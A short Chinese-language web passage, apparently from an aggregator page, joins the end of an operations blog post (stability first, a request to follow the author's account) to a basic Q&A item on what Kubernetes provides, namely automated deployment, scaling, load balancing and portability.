比如。

上面介紹了開發和運維對於應用上線應該做的工作， 不全但夠用 。

在不同的企業都有不同的尿性，但是作為運維，我們都要牢牢記住 穩定 永遠是第一尿性。通過上面的梳理，我們的應用模板就整理如下：

如果我的文章對你有所幫助，還請幫忙一下，你的支持會激勵我輸出更高質量的文章，非常感謝！

你還可以把我的公眾號設為「 星標 」，這樣當公眾號文章更新時，你會在第一時間收到推送消息，避免錯過我的文章更新。

⑨ kubernetes 提供什麼功能

Kubernetes，是開源容器應用自動化部署技術，也就是大家經常說的k8s。

Kubernetes（k8s）是自動化容器操作的開源平台，這些操作包括部署，調度和節點集群間擴展。如果你曾經用過Docker容器技術部署容器，那麼可以將Docker看成Kubernetes內部使用的低級別組件。Kubernetes不僅僅支持Docker，還支持Rocket，這是另一種容器技術。

使用Kubernetes可以：

• 自動化容器的部署和復制

• 隨時擴展或收縮容器規模

• 將容器組織成組，並且提供容器間的負載均衡

• 很容易地升級應用程序容器的新版本

• 提供容器彈性，如果容器失效就替換它，等等...

它有這些特點：

• 可移植：支持公有雲，私有雲，混合雲，多重雲 multi-cloud

• 可擴展：模塊化，插件化，可掛載，可組合

• 自動化：自動部署，自動重啟，自動復制，自動伸縮/擴展

如果還有想要了解的可以到官網或是相關教程視頻中看看，比如B站這個視頻教程：